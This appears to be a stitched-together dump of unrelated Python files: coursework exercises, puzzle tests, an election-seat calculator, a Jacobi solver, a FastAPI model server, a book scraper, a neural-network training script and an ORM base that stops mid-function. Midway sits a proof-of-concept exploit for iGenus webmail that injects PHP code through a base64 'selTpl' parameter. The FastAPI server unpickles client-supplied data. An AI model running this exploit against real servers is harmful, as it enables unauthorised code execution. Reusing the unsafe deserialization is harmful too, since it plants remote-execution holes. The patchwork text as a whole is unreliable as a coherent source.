"""
COMP.CS.100 Programming 1.
Stuart Student, hamed.talebian@tuni.fi, student id 150360360.
Solution of task 2..
"""

def main():

    num_of_days = int(input('Enter the number of days: '))
    data = 0
    mean = 0
    counter = 0

    for number in range(1, num_of_days + 1):
        running_length = float(input(f'Enter day {number} running length: '))
        if running_length != 0:
            data = data + running_length
            mean = data / num_of_days
            counter = 0
        else:
            counter += 1
            if counter < 3:
                continue
            else:
                break
    print()
    if counter == 3:
        print('You had too many consecutive lazy days!')
    elif mean < 3:
        print(f"Your running mean of {mean:.2f} km was too low!")
    else:
        print(f"You were persistent runner! With a mean of {mean:.2f} km.")

if __name__ == '__main__':
    main()


import aoc_cj.aoc2016.day13 as d

EXAMPLE_SPACE = """
.#.####.##
..#..#...#
#....##...
###.#.###.
.##..#..#.
..##....#.
#...##.###
""".strip()

def test_is_wall():
    lines = EXAMPLE_SPACE.splitlines()
    fav_num = 10
    for y in range(len(lines)):
        for x in range(len(lines[0])):
            assert lines[y][x] == "." if d.is_open(x, y, fav_num) else "#"

def test_a():
    assert d.parta("10", target_pos=(7, 4)) == 11


# Justificação de textos
def limpa_texto(texto):
    '''Elimina espaços do texto original.

    Sem dependências

    Parametros: str
    Retorna: str
    '''
    return ' '.join(texto.split())

def corta_texto(texto, largura):
    '''Divide o texto pela ultima palavra completa em função da largura.

    Sem depenências

    Parametros: str, int
    Retorna: (str,str)
    '''
    palavras = texto.split()
    len_total = 0
    i = 0
    # Econtrar a última palavra completa contida pela largura desejada
    for i, palavra in enumerate(palavras):
        len_total += len(palavra)
        if largura < len_total:
            break
        # Contar com o espaço entre palavras
        len_total += 1
    if len(texto) <= largura:
        i += 1
    return ' '.join(palavras[:i]), ' '.join(palavras[i:])

def insere_espacos(texto, largura):
    '''Preenche a string com espaços em função da largura.

    Sem dependências

    Parametros: str, int
    Retorna: str
    '''

    palavras = texto.split()

    # numero_espacos -> numero de vezes que duas palavras devem ser separadas
    # espaco_para_preencher -> numero de caracteres vazios necessários
    numero_espacos = len(palavras)-1
    espaco_para_preencher = largura - (len(texto)-numero_espacos)

    if len(palavras) > 1:
        espaco_default = espaco_para_preencher // numero_espacos
        espacos_restantes = espaco_para_preencher - (numero_espacos * espaco_default)

        mapa_espacos = [espaco_default] * numero_espacos

        for i in range(espacos_restantes):
            mapa_espacos[i] += 1

        palavra_final = ''
        for i, palavra in enumerate(palavras):
            if i < numero_espacos:
                palavra_final += palavra + ' '*mapa_espacos[i]
            else:
                palavra_final += palavra
        return palavra_final
    else:
        # Se apenas existe uma palavra, adicionar os espaços correspondentes no final
        return texto + ' '*espaco_para_preencher

def justifica_texto(texto, largura):
    '''Justifica uma string com a largura expecificada.

    Depende de: limpa_texto(), corta_texto(), insere_espacos(),

    Parametros: str, int
    Retorna: tuple
    '''
    if type(texto) != str or type(largura) != int or len(texto) == 0\
         or largura <= 0 or not(all(len(palavra) <= largura for palavra in texto.split())):
        raise ValueError('justifica_texto: argumentos invalidos')

    texto_justificado = corta_texto(limpa_texto(texto), largura)
    tuplo_justificado = ()

    def insere_espacos_fim(txt):
        espaco_para_preencher = largura - (len(txt))
        return txt + ' '*espaco_para_preencher

    while True:
        # Verificar se é a última frase e justificar de forma diferente
        if len(texto_justificado[1]) > 0:
            tuplo_justificado += (insere_espacos(texto_justificado[0], largura),)
            texto_justificado = texto_justificado[1]
            texto_justificado = corta_texto(texto_justificado, largura)
        else:
            tuplo_justificado += (insere_espacos_fim(texto_justificado[0]),)
            break

    return tuplo_justificado

# Método de Hondt

def calcula_quocientes(votos, deputados):
    '''Calcula os quocientes de cada partido segundo o Método de Hondt.

    Sem dependências

    Parametros: dict, int
    Retorna: dict
    '''
    quocientes = votos.copy()

    for partido, num_votos in quocientes.items():
        quocientes[partido] = [float(num_votos)]
        for i in range(1, deputados):
            quocientes[partido].append(float(quocientes[partido][0] / (i+1)))

    return quocientes

def atribui_mandatos(votos, deputados):
    '''A partir do cálculo dos quocientes, ordenar os partidos
    em função dos resultados obtidos nas respetivas votações.

    Depende de: calcula_quocientes()

    Parametros: dict, int
    Retorna: list
    '''
    quocientes = calcula_quocientes(votos, deputados)
    mandatos = list()

    # Ordenar os partidos de forma crescente em função do número total de votos
    # de forma a facilitar situações de empate
    partidos_ordenados = dict(sorted(quocientes.items(), key=lambda votos : votos[1][0]))

    while len(mandatos) < deputados:
        partido_a_eleger = ('', 0)
        for partido, num_votos in partidos_ordenados.items():
            if num_votos[0] > partido_a_eleger[1]:
                partido_a_eleger = (partido, num_votos[0])

        partidos_ordenados[partido_a_eleger[0]] = partidos_ordenados[partido_a_eleger[0]][1:]
        mandatos.append(partido_a_eleger[0])

    return mandatos

def obtem_partidos(informacao):
    '''Obtem todos os partidos que participaram nas eleições

    Sem dependências

    Parametros: dict
    Retorna: list
    '''
    partidos_final = set()
    for circulo in informacao.values():
        for partidos in circulo['votos'].keys():
            partidos_final.add(partidos)

    partidos_final = sorted(partidos_final)

    return partidos_final

def obtem_resultado_eleicoes(informacao):
    '''Calcula os resultados das eleições

    Depende de: atribui_mandatos(), obtem_partidos(),
    (Indiretamente): calcula_quocientes()

    Parametros: dict
    Retorna: list
    '''
    # Verificações
    if type(informacao) != dict or len(informacao) == 0:
        raise ValueError('obtem_resultado_eleicoes: argumento invalido')

    for circulo in informacao.values():
        if type(circulo) != dict or len(circulo) != 2\
            or 'deputados' not in circulo.keys() or 'votos' not in circulo.keys()\
            or type(circulo['deputados']) != int or type(circulo['votos']) != dict\
            or circulo['deputados'] <= 0 or len(circulo['votos']) == 0:

            raise ValueError('obtem_resultado_eleicoes: argumento invalido')

        if not all(type(nome_circulo)==str and len(nome_circulo)>0 for nome_circulo in informacao.keys()):
            raise ValueError('obtem_resultado_eleicoes: argumento invalido')

        if  not all(((type(votos) == int) and votos > 0 and (type(partido) == str)) for (partido, votos) in circulo['votos'].items()):
            raise ValueError('obtem_resultado_eleicoes: argumento invalido')

    resultados = {(partido):(partido, 0, 0) for partido in obtem_partidos(informacao)}

    for circulo in informacao.values():
        votos = circulo['votos']
        deputados = circulo['deputados']
        resultado_circulo = atribui_mandatos(votos, deputados)
        for partido, num_votos in votos.items():
            votos_atuais = resultados[partido][2]
            deputados_atuais = resultados[partido][1]
            resultados[partido] = (partido, deputados_atuais + resultado_circulo.count(partido), votos_atuais + num_votos)

    resultados = list(resultados.values())
    resultados = sorted(resultados, key=lambda resultado: (resultado[1],resultado[2]), reverse=True)
    return resultados

# Solução de sistemas de equações

def produto_interno(t1, t2):
    '''Calcula o produto interno de dois vetores.

    Sem dependências

    Parametros: tuple, tuple
    Retorna: float
    '''
    return sum(float(t1[i]*t2[i]) for i in range(len(t1)))

def verifica_convergencia(matriz, constantes, solucao_atual, precisao):
    '''Verifica a precisão das soluções apresentadas para
    um dado sistema, representado por uma matriz e um vetor
    de soluções (constantes).

    Depende de: produto_interno()

    Parametros: tuple, tuple, tuple, float
    Retorna: bool
    '''
    erros = []
    # Calcular o erro para cada linha da matriz aumentada
    for i in range(len(constantes)):
        resultado_linha = produto_interno(matriz[i], solucao_atual)
        erros.append(abs(resultado_linha-constantes[i]))

    return all(e<precisao for e in erros)

def retira_zeros_diagonal(matriz, constantes):
    '''Retira os zeros da diagonal principal de uma
    matriz efetuando trocas de linha.

    Sem dependências

    Parametros: tuple, tuple
    Retorna: (tuple, tuple)
    '''
    i = 0
    j = 0
    n_matriz = list(matriz)
    n_constantes = list(constantes)
    while i < len(matriz):
        while n_matriz[i][i] == 0 and j < len(n_matriz):
            if n_matriz[j][i] != 0 and n_matriz[i][j] != 0:
                n_matriz[i], n_matriz[j] = n_matriz[j], n_matriz[i]
                n_constantes[i], n_constantes[j] = n_constantes[j], n_constantes[i]
                j = 0
            j += 1
        i += 1
    return tuple(n_matriz), tuple(n_constantes)

def eh_diagonal_dominante(matriz):
    '''Verifica se uma matriz é diagonalmente dominante.

    Sem dependências

    Parametros: tuple
    Retorna: bool
    '''
    linha_atual = []
    for i in range(len(matriz)):
        linha_atual = list(matriz[i])
        elemento_diagonal = linha_atual.pop(i)
        linha_atual = [abs(el) for el in linha_atual]
        if abs(elemento_diagonal) < sum(linha_atual):
            return False
    return True

def resolve_sistema(matriz, constantes, precisao):
    '''Resolve um sistema de equações lineares recorrendo ao
    método de Jacobi.

    Depende de: retira_zeros_diagonal(), eh_diagonal_dominante(),
    verifica_convergencia(), produto_interno()

    Parametros: tuple, tuple, float
    Retorna: tuple
    '''
    # Verificacao da matriz
    if type(matriz) != tuple or len(matriz)==0 or len(matriz[0]) != len(matriz):
        raise ValueError('resolve_sistema: argumentos invalidos')

    for linha in matriz:
        if type(linha) != tuple or len(linha) != len(matriz[0]):
            raise ValueError('resolve_sistema: argumentos invalidos')
        else:
            for valor in linha:
                if (type(valor) != int and type(valor) != float):
                    raise ValueError('resolve_sistema: argumentos invalidos')

    # Verificacao das constantes
    if type(constantes) != tuple or len(constantes)==0 or len(constantes) != len(matriz):
        raise ValueError('resolve_sistema: argumentos invalidos')
    if not all((type(c) == int or type(c) == float) for c in constantes):
        raise ValueError('resolve_sistema: argumentos invalidos')

    # Verificacao da precisao
    if type(precisao) != float or precisao <= 0:
        raise ValueError('resolve_sistema: argumentos invalidos')

    nova_matriz, novas_constantes = retira_zeros_diagonal(matriz, constantes)

    # Verificacao da diagonal
    if not eh_diagonal_dominante(nova_matriz):
        raise ValueError('resolve_sistema: matriz nao diagonal dominante')

    estimativas = [[0 for c in constantes]]

    while not verifica_convergencia(nova_matriz, novas_constantes, estimativas[-1], precisao):
        novas_estimativas = list()
        for i in range(len(estimativas[0])):
            f = produto_interno(nova_matriz[i], estimativas[-1])
            nova_estimativa = estimativas[-1][i] + (novas_constantes[i] - f) / nova_matriz[i][i]
            novas_estimativas.append(nova_estimativa)
        estimativas.append(novas_estimativas)

    return tuple(estimativas[-1])


from typing import Any
from fastapi import FastAPI, Response, Request
from pathlib import Path
from pydantic import BaseModel
from autogoal.utils._storage import inspect_storage
import uvicorn
from autogoal_remote.distributed.proxy import loads, dumps, encode, decode

class Body(BaseModel):
    values: Any

app = FastAPI()

@app.get("/input")
async def input(request: Request):
    """
    Returns the model input type
    """
    return {
        "semantic type name": str(request.app.model.best_pipeline_.input_types),
        "pickled data": dumps(
            request.app.model.best_pipeline_.input_types, use_dill=True
        ),
    }

@app.get("/output")
async def output(request: Request):
    """
    Returns the model output type
    """
    return {
        "semantic type name": str(
            request.app.model.best_pipeline_.algorithms[-1].__class__.output_type()
        ),
        "pickled data": dumps(
            request.app.model.best_pipeline_.algorithms[-1].__class__.output_type(),
            use_dill=True,
        ),
    }

@app.get("/inspect")
async def inspect(request: Request):
    """
    Returns the model inspect command
    """
    return {"data": str(inspect_storage(Path(request.app.model.export_path)))}

@app.post("/")
async def eval(t: Body, request: Request):
    """
    Returns the model prediction over the provided values
    """
    model = request.app.model
    data = loads(t.values)
    result = model.predict(data)
    return {"data": dumps(result)}

def run(model, ip=None, port=None):
    """
    Starts HTTP API with specified model.
    """
    app.model = model
    uvicorn.run(app, host=ip or "0.0.0.0", port=port or 8000)


from discord.ext import commands

from databases.database_manager import db

class Hive(commands.Cog):
    def __init__(self, bot):
        self.bot = bot
        self._last_member = None

    @commands.command(name='get_map_id', help='<map_name>',
                      aliases=["get_id","gmi"])
    async def get_map_id(self, ctx, map_name):
        map_name = map_name.title()
        map_id = db.translate(map_name)
        if map_id is None:
            await ctx.send("Sorry, I could not find `{}` in the database 🙁".format(map_name))
            return
        else:
            await ctx.send("The id for the `{}` map is `{}`".format(map_name, map_id))

def setup(bot):
    bot.add_cog(Hive(bot))


import argparse
import logging
import os
import sys
import time
from urllib.parse import urljoin, urlparse, unquote, parse_qs

import requests
import urllib3
from bs4 import BeautifulSoup
from pathvalidate import sanitize_filename

logger = logging.getLogger(__name__)

class BookError(Exception):
    def __init__(self, text):
        self.txt = text

def main():
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')

    library_url = 'https://tululu.org'

    books_path = 'books/'
    os.makedirs(books_path, exist_ok=True)
    books_images_path = 'images/'
    os.makedirs(books_images_path, exist_ok=True)

    parser = argparse.ArgumentParser(description='парсер онлайн-библиотеки https://tululu.org/')
    parser.add_argument('start_id', nargs='?', default='1', type=int, help='с какой страницы начинать')
    parser.add_argument('end_id', nargs='?', default='1000', type=int, help='по какую страницу качать')
    args = parser.parse_args()

    urllib3.disable_warnings()
    for book_number in range(args.start_id, args.end_id + 1):
        book_url = f'{library_url}/b{book_number}/'
        try:
            logger.info(f'ищем книгу по адресу {book_url}')
            response = requests.get(book_url, verify=False)
            response.raise_for_status()
            check_for_redirect(response)
            book = parse_book_page(response.text, book_url)
            download_txt(f'{library_url}/txt.php?id={book_number}', book_number, book['title'], books_path)
            download_image(book['image_url'], books_images_path)
        except requests.HTTPError as e:
            print(e, file=sys.stderr)
            logger.exception(e)
        except requests.ConnectionError as e:
            logger.exception(e)
            print(e, file=sys.stderr)
            time.sleep(10)
        except requests.TooManyRedirects:
            print('обнаружен редирект', file=sys.stderr)
        except KeyboardInterrupt:
            print('Скачивание остановлено')
            sys.exit()
        except BookError as e:
            logger.exception(e)
            print(e, file=sys.stderr)

def check_for_redirect(response):
    if len(response.history) > 0:
        logger.info('Такой страницы не существует.')
        raise requests.TooManyRedirects

def parse_book_page(content, book_url):
    soup = BeautifulSoup(content, 'lxml')

    title_author_string = soup.select_one('.ow_px_td h1').text
    book_title, book_author = map(lambda title: title.strip(), title_author_string.split('::'))

    book_image_src = soup.select_one('.bookimage img')['src']
    book_image_url = urljoin(book_url, book_image_src)

    search_text_result = soup.select_one('table.d_book a[title$=txt]')
    if not search_text_result:
        raise BookError('Текст этой книги отсутствует')
    book_text_url = search_text_result['href']

    parsed_book_query = parse_qs(urlparse(book_text_url).query)
    book_id = parsed_book_query['id'][0]

    comment_tags = soup.select('.texts .black')
    book_comments = [comment_tag.text for comment_tag in comment_tags]

    genre_tags = soup.select('span.d_book a')
    book_genres = [genre_tag.text for genre_tag in genre_tags]

    book = {
        'title': book_title,
        'author': book_author,
        'comments': book_comments,
        'genres': book_genres,
        'image_url': book_image_url,
        'id': book_id,
        'text_url': urljoin(book_url, book_text_url)
    }
    return book

def download_txt(url, book_id, filename, folder='books/'):
    """Функция для скачивания текстовых файлов.
    Args:
        url (str): Cсылка на текст, который хочется скачать.
        book_id (int): Уникальный id книги
        filename (str): Имя файла, с которым сохранять.
        folder (str): Папка, куда сохранять.
    Returns:
        str: Путь до файла, куда сохранён текст.
    """
    file_path = os.path.join(folder, f'{book_id}. {sanitize_filename(filename)}.txt')
    response = requests.get(url, verify=False)
    response.raise_for_status()
    check_for_redirect(response)
    with open(file_path, 'wb') as file:
        file.write(response.content)
    logger.info(f'скачали книгу: {file_path}')
    return file_path

def download_image(url, folder='images/', rewrite=False):
    response = requests.get(url, verify=False)
    response.raise_for_status()
    check_for_redirect(response)
    file_path = os.path.join(folder, os.path.basename(unquote(urlparse(url).path)))
    if not rewrite and os.path.exists(file_path):
        return file_path
    with open(file_path, 'wb') as file:
        file.write(response.content)
    logger.info(f'скачали файл: {file_path}')
    return file_path

if __name__ == '__main__':
    main()


state = []
with open('D6_input.txt', 'r') as fopen:
	state = list(map(int, fopen.readline().rstrip().split(',')))

for i in range(256):
	for ind, fish_state in enumerate(state):
		if fish_state == 0:
			state[ind] = 6
			state.append(9)
		else:
			state[ind] -= 1

print(len(state))


import DaNN
import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim
from tqdm import tqdm
import argparse
import data_loader
import mmd
import scipy.io
import json

DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
LEARNING_RATE = 0.02
MOMEMTUN = 0.05
L2_WEIGHT = 0.003
DROPOUT = 0.5
N_EPOCH = 200
BATCH_SIZE = [64, 64]
LAMBDA = 0.5
GAMMA = 10 ^ 3
RESULT_TRAIN = []
RESULT_TEST = []
log_train = open('log_train_a-w.txt', 'w')
log_test = open('log_test_a-w.txt', 'w')

parser = argparse.ArgumentParser()
parser.add_argument("--seed", type = int, default=0)
parser.add_argument("--person", type=int, default=1)
args = parser.parse_args()

def mmd_loss(x_src, x_tar):
    return mmd.mix_rbf_mmd2(x_src, x_tar, [GAMMA])

def train(model, optimizer, epoch, data_src, data_tar):
    total_loss_train = 0
    criterion = nn.CrossEntropyLoss()
    correct = 0
    batch_j = 0
    list_src, list_tar = list(enumerate(data_src)), list(enumerate(data_tar))
    for batch_id, (data, target) in enumerate(data_src):
        _, (x_tar, y_target) = list_tar[batch_j]
        data, target = data.to(DEVICE), target.to(DEVICE)
        x_tar, y_target = x_tar.to(DEVICE), y_target.to(DEVICE)
        model.train()
        y_src, x_src_mmd, x_tar_mmd = model(data, x_tar)

        loss_c = criterion(y_src, target)
        loss_mmd = mmd_loss(x_src_mmd, x_tar_mmd)
        pred = y_src.data.max(1)[1]  # get the index of the max log-probability
        correct += pred.eq(target.data.view_as(pred)).cpu().sum()
        loss = loss_c + LAMBDA * loss_mmd
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()
        total_loss_train += loss.data
        res_i = 'Epoch: [{}/{}], Batch: [{}/{}], loss: {:.6f}'.format(
            epoch, N_EPOCH, batch_id + 1, len(data_src), loss.data
        )
        batch_j += 1
        if batch_j >= len(list_tar):
            batch_j = 0
    total_loss_train /= len(data_src)
    acc = correct * 100. / len(data_src.dataset)
    res_e = 'Epoch: [{}/{}], training loss: {:.6f}, correct: [{}/{}], training accuracy: {:.4f}%'.format(
        epoch, N_EPOCH, total_loss_train, correct, len(data_src.dataset), acc
    )
    tqdm.write(res_e)
    log_train.write(res_e + '\n')
    RESULT_TRAIN.append([epoch, total_loss_train, acc])
    return model

def test(model, data_tar, e):
    total_loss_test = 0
    correct = 0
    criterion = nn.CrossEntropyLoss()
    with torch.no_grad():
        for batch_id, (data, target) in enumerate(data_tar):
            data, target = data.to(DEVICE),target.to(DEVICE)
            model.eval()
            ypred, _, _ = model(data, data)
            loss = criterion(ypred, target)
            pred = ypred.data.max(1)[1]  # get the index of the max log-probability
            correct += pred.eq(target.data.view_as(pred)).cpu().sum()
            total_loss_test += loss.data
        accuracy = correct * 100. / len(data_tar.dataset)
        res = 'Test: total loss: {:.6f}, correct: [{}/{}], testing accuracy: {:.4f}%'.format(
            total_loss_test, correct, len(data_tar.dataset), accuracy
        )
    tqdm.write(res)
    RESULT_TEST.append([e, total_loss_test, accuracy])
    log_test.write(res + '\n')
    return accuracy / 100.

def dataset_load(batch_size = 64, person = args.person):
    X_source = np.array([])
    y_source = np.array([])

    for i in range(10):
        data = scipy.io.loadmat('../train/%d.mat'%(i+1))['de_feature']
        label = scipy.io.loadmat('../train/%d.mat'%(i+1))['label']

        if i == 0:
            X_source = data
            y_source = label
        else:
            X_source = np.vstack((X_source, data))
            y_source = np.vstack((y_source, label))

    X_source = (X_source - np.min(X_source, axis=0)) / (np.max(X_source, axis=0) - np.min(X_source, axis=0))
    X_source = torch.from_numpy(X_source).float()
    y_source = torch.from_numpy(y_source).long().squeeze()
    source_dataset = torch.utils.data.TensorDataset(X_source, y_source)

    X_target = scipy.io.loadmat('../test/%d.mat'%(10 + person))['de_feature']
    y_target = scipy.io.loadmat('../test/%d.mat'%(10 + person))['label']
    X_target = (X_target - np.min(X_target, axis=0)) / (np.max(X_target, axis=0) - np.min(X_target, axis=0))
    X_target = torch.from_numpy(X_target).float()
    y_target = torch.from_numpy(y_target).long().squeeze()
    target_dataset = torch.utils.data.TensorDataset(X_target, y_target)

    return source_dataset, target_dataset

if __name__ == '__main__':
    torch.manual_seed(args.seed)

    source_dataset, target_dataset = dataset_load(person=args.person)
    data_src = torch.utils.data.DataLoader(dataset=source_dataset,batch_size=64,shuffle=True,num_workers=1, drop_last = True)
    data_tar = torch.utils.data.DataLoader(dataset=target_dataset,batch_size=64,shuffle=True,num_workers=1, drop_last = True)

    model = DaNN.DaNN(n_input=310, n_hidden=512, n_class=4)
    model = model.to(DEVICE)
    optimizer = optim.SGD(
        model.parameters(),
        lr=LEARNING_RATE,
        momentum=MOMEMTUN,
        weight_decay=L2_WEIGHT
    )
    acc_list = []
    for e in tqdm(range(1, N_EPOCH + 1)):
        model = train(model=model, optimizer=optimizer,
                      epoch=e, data_src=data_src, data_tar=data_tar)
        acc = test(model, data_tar, e)
        acc_list.append(acc.item())
    jd = {"test_acc": acc_list}
    with open(str(args.seed)+'/acc'+str(args.person)+'.json', 'w') as f:
        json.dump(jd, f)

    torch.save(model, 'model_dann.pkl')
    log_train.close()
    log_test.close()
    res_train = np.asarray(RESULT_TRAIN)
    res_test = np.asarray(RESULT_TEST)
    np.savetxt('res_train_a-w.csv', res_train, fmt='%.6f', delimiter=',')
    np.savetxt('res_test_a-w.csv', res_test, fmt='%.6f', delimiter=',')


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: iGenus邮件系统一处无需登录的任意代码执行
referer: http://www.wooyun.org/bugs/wooyun-2015-0156126
author: Lucifer
description: /home/webmail/igenus/include/login_inc.php base64编码未验证可写入shell
'''
import sys
import requests

class igenus_code_exec_BaseVerify:
    def __init__(self, url):
        self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM="
        vulnurl = self.url + payload
        try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
            if r"Configuration File (php.ini) Path" in req.text:
                return "[+]存在igenus命令执行漏洞...(高危)\tpayload: "+vulnurl

        except:
            return "[-]connect timeout"

if __name__ == "__main__":

    testVuln = igenus_code_exec_BaseVerify(sys.argv[1])
    testVuln.run()


# coding=gbk
# 9.12 导入类练习 多个模块

"""在admin privileges类中导入用户模块中的user类"""
from user import User

class Privileges():
    """创建一个有关管理员权限的小类"""

    def __init__(
    self,
    privileges= ['can add post','can delete post','can ban user']):
        """初始化权限的属性"""
        self.privileges = privileges

    def show_privileges(self):
        """方法 描述有关管理员权限的职能"""
        print("\nThe admin user have these privileges:")
        for n in self.privileges:
            print("\t",n)

class Admin(User):
    """创建用户类的子类 管理员类"""

    def __init__(self,first_name, last_name, gender,age):
        """接受并初始化父类的属性"""
        super().__init__(first_name, last_name, gender, age)
        self.privileges = Privileges()

user_1 = Admin('lei', 'tianfu', 'male', 21)
user_1.privileges.show_privileges()
user_1.describe_user()


n1 = int(input('Digite o primeiro número inteiro: '))

n2 = int(input('Digite o segundo número inteiro: '))

n3 = int(input('Digite o terceiro número inteiro: '))

if n1 > n2 and n3:
    print(f'O maior número é {n1}')
    input('Pressione ENTER para encerrar programa')

if n2 > n1 and n3:
    print(f'O maior número é {n2}')
    input('Pressione ENTER para encerrar programa')
    exit()

if n3 > n1 and n2:
    print(f'O maior número é {n3}')
    input('Pressione ENTER para encerrar programa')
    exit()

Faça um Programa que leia três números e mostre o maior deles..py


'''Model base module'''

import config
import redis
import collections
import asyncio
import sqlalchemy as sa
from sqlalchemy import MetaData

class Relation(object):

    def __init__(self, target_cls, back_populates=None, onupdate="CASCADE",
        ondelete="CASCADE", rkey=None, reverse=False):

        self.target_cls = target_cls
        self.back_populates = back_populates
        self.onupdate = onupdate
        self.ondelete = ondelete
        self.rkey = rkey
        self.reverse = reverse

    def bind(self, key, source_cls):
        target_cls = self.target_cls
        pkey = target_cls._symbols[target_cls._pname].obj
        self.rkey = sa.Column('_rel_{}'.format(key), pkey.type,
            sa.ForeignKey(pkey, onupdate=self.onupdate, ondelete=self.ondelete),
            index=True)

        if self.back_populates is not None:
            assert self.back_populates not in self.target_cls._relations
            self.target_cls._relations[self.back_populates] = Relation(
                source_cls, rkey=self.rkey, reverse=True)

        return self.rkey

class Symbol(object):

    def __init__(self, obj, immutable, primary):

        self.obj = obj
        self.immutable = immutable
        self.primary = primary

class ShadowColumn(object):

    def __init__(self, cls, mapping, prefix):

        self.cls = cls
        self.mapping = mapping
        self.prefix = prefix

    def __getattr__(self, name):

        column = getattr(self.cls, name)
        if isinstance(column, sa.Column):
            name = self.prefix + column.name
            if name in self.mapping:
                return self.mapping[name]
        elif isinstance(column, ShadowColumn):
            return ShadowColumn(column.cls, self.mapping,
                '{}__{}_'.format(self.prefix, name))

        raise AttributeError

class ShadowMeta(type):

    def build_relation_query(table, relations):

        query = table
        label_map = {}
        for key, relation in relations.items():
            prefix = '__' + key
            target_cls = relation.target_cls
            target_query = target_cls._relquery.alias(prefix)

            for column in target_query.columns:
                label_map[column] = '{}_{}'.format(prefix, column.name)

            query = query.join(target_query,
                relation.rkey == target_query.columns[target_cls._pname])

        relation_columns = {}
        select_columns = []
        for column in query.columns:
            if column.name.startswith('_rel_'):
                continue

            if column in label_map:
                labeled_column = column.label(label_map[column])
                relation_columns[labeled_column.name] = column
                column = labeled_column

            select_columns.append(column)

        return (relation_columns, sa.select(select_columns, from_obj=query))

    def __new__(cls, name, bases, namespace):

        model_cls = type.__new__(cls, name, bases, namespace)

        if name == 'BaseModel':
            return model_cls

        pname = None
        symbols = {}
        columns = {}
        relations = {}
        pkey_constraint = None

        attrs = list(model_cls.__dict__.items())
        for key, value in attrs:
            if key == '__primarykey__':
                pkey_constraint = sa.PrimaryKeyConstraint(
                    *[column.name for column in value])
                continue

            if (not isinstance(value, Relation) and
                not isinstance(value, sa.Column)):
                continue

            immutable = False
            primary = False
            name = key
            if key.startswith('_'):
                name = name.lstrip('_')
                immutable = True

            if isinstance(value, Relation):
                relations[name] = value
            elif isinstance(value, sa.Column):
                columns[name] = value
                primary = value.primary_key

            if primary:
                assert pname is None
                pname = name

            symbols[name] = Symbol(value, immutable, primary)
            delattr(model_cls, key)

        model_cls._pname = pname

        table_columns = list(columns.values())
        for key, relation in relations.items():
            table_columns.append(relation.bind(key, model_cls))

        if pkey_constraint is not None:
            table_columns.append(pkey_constraint)

        model_cls._columns = columns
        model_cls._relations = relations
        model_cls._symbols = symbols
        model_cls._table = sa.Table(namespace['__tablename__'],
            model_cls._metadata, *table_columns)
        model_cls._relcolumns, model_cls._relquery = cls.build_relation_query(
            model_cls._table, relations)

        return model_cls

    def __getattr__(self, name):

        if name not in self._symbols:
            raise AttributeError

        symbol = self._symbols[name]
        if isinstance(symbol.obj, sa.Column):
            return symbol.obj
        elif isinstance(symbol.obj, Relation):
            relation = symbol.obj
            if not relation.reverse:
                return ShadowColumn(relation.target_cls, self._relcolumns,
                    '__{}_'.format(name))

        raise AttributeError

class ShadowExpr(object):

    def __init__(self, expr, typ=None):

        self.expr = expr
        self.typ = typ

    def __getattr__(self, name):

        func = getattr(self.expr, name)

        def wrapper(*args, **kwargs):
            '''Wrapper.'''

            proxy_args = []
            for value in args:
                proxy_args.append(self.proxy_value(value))

            proxy_kwargs = {}
            for key, value in kwargs.items():
                proxy_kwargs[key] = self.proxy_value(value)

            return ShadowExpr(func(*proxy_args, **proxy_kwargs), typ=self.typ)

        return wrapper

    def proxy_value(self, value):

        if isinstance(value, ShadowExpr):
            return value.expr
        elif isinstance(value, ShadowMeta):
            return value._table

        return value

    async def execute(self, conn):

        results = await conn.execute(self.expr)
        return ShadowResult(results, self.typ)

class ShadowResult(object):

    def __init__(self, results, typ):

        self.results = results
        self.rowcount = self.results.rowcount
        self.typ = typ

    def __aiter__(self):

        return self

    async def __anext__(self):

        result = await self.results.fetchone()
        if result is None:
            raise StopAsyncIteration

        if self.typ is None:
            return result
        else:
            return self.typ(result)

    async def first(self):

        result = await self.results.fetchone()
        self.results.close()

        if result is None:
            return None
        elif self.typ is None:
            return result
        else:
            return self.typ(result)

    async def scalar(self):

        result = await self.results.scalar()
        if result is None:
            return None
        elif self.typ is None:
            return result
        else:
            return self.typ(result)

class BaseModel(object, metaclass=ShadowMeta):

    _metadata = MetaData()

    def __init__(self, _result_obj=None, _prefix='', **kwargs):

        if _result_obj is not None:
            fields = dict((key, _result_obj[_prefix + column.name])
                for key, column in self._columns.items())

            for key, relation in self._relations.items():
                if not relation.reverse:
                    target_cls = relation.target_cls
                    next_prefix = '{}__{}_'.format(_prefix, key)
                    fields[key] = target_cls(_result_obj, next_prefix)
        else:
            fields = {}
            for key, column in self._columns.items():
                value = None
                if key in kwargs:
                    value = kwargs[key]
                elif key != self._pname:
                    raise AttributeError

                fields[key] = value

            for key, relation in self._relations.items():
                if not relation.reverse and key in kwargs:
                    fields[key] = kwargs[key]

        object.__setattr__(self, '_fields', fields)

        if self._pname is not None:
            self.update_reverse_relations()

    def __getattr__(self, name):

        return self._fields[name]

    def __setattr__(self, name, value):

        override_mutable = False
        if name.startswith('_'):
            name = name.lstrip('_')
            override_mutable = True

        symbol = self._symbols.get(name)
        if symbol is None:
            raise AttributeError

        if symbol.primary:
            raise AttributeError

        if symbol.immutable and not override_mutable:
            raise AttributeError

        if isinstance(symbol.obj, Relation):
            relation = symbol.obj
            if relation.reverse:
                raise AttributeError

        self._fields[name] = value

    def update_reverse_relations(self):

        pval = self._fields[self._pname]
        reverse_relations = [(key, relation) for key, relation
            in self._relations.items() if relation.reverse]

        if pval is None:
            for key, relation in reverse_relations:
                if key in self._fields:
                    del self._fields[key]
        else:
            for key, relation in reverse_relations:
                self._fields[key] = (relation.target_cls.select()
                    .where(relation.rkey == pval))

    async def save(self, conn):

        table_fields = {}

        for key, column in self._columns.items():
            if key not in self._fields:
                raise AttributeError

            if key == self._pname and self._fields[key] is None:
                continue

            table_fields[column.name] = self._fields[key]

        for key, relation in self._relations.items():
            if relation.reverse:
                continue

            if key not in self._fields:
                raise AttributeError

            target = self._fields[key]
            target_pval = getattr(target, target._pname)
            assert target_pval is not None

            table_fields[relation.rkey.name] = target_pval

